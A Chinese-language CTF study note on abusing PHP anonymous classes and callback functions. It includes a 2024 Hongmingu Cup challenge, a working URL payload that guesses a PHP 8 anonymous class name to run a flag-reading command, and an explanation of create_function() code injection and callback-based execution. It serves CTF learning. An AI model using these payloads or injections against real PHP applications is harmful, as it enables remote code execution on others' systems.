匿名类&方法

匿名类

匿名类自php7引入,php7和php8的匿名类的名称格式有所不通

php7

php7的匿名类昵称的后缀是一串会变化的十六进制

php8

后缀部分变成了行数$列数

php8匿名类在CTF中的利用

2024红明谷杯

<?php
if (isset($_GET['ezphpPhp8'])) {
    highlight_file(__FILE__);
} else {
    die("No");
}
$a = new class {
    function __construct()
    {
    }

    function getflag()
    {
        system('cat /flag');
    }
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

这里就利用了PHP8的匿名类昵称可以被知道,可以被构造的方法来实现调用匿名类的

payload

flag.php?ezphpPhp8=class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Fflag.php%3A7%241

匿名方法

原理

匿名函数特点:无函数名,使用一次就被丢弃,一般可以动态执行php代码

重点匿名方法利用

1.create_function()

创建一个匿名(lambda样式)函数

第一次创建了一个叫 lambda_1 的函数,此后调用依次递增lambda_2…

   注意 实际为 %00lambda_1只不过%00不可见而已

create_function ( string $args , string $code ) : string

根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行

可以闭合代码,实现eval执行任意命令
 

create_function代码注入

闭合方式不唯一,按实际代码决定

create_function('$name','echo $name."alex"')

等同与创建了一个函数:

function fT($fname) {
 echo $fname."alex";
}

并返回这个函数名 lambda_1

极其类似sql注入 (使前面闭合,使后面注释)

2.array_map()

array_map — 为数组的每个元素应用回调函数

利用: 第一个参数为 回调函数,第二个参数为 参数数组

3.call_user_func()

call_user_func — 把第一个参数作为回调函数调用

同样的第一个参数是回调函数 不过第二个参数是 字符串 不是数组

4.call_user_func_array()

和array_map一模一样 利用: 第一个参数为 回调函数,第二个参数为 参数数组

5.array_filter()

array_filter — 使用回调函数过滤数组的元素

和array_map()对调一下位置 第一个参数为 参数数组,第二个参数为 回调函数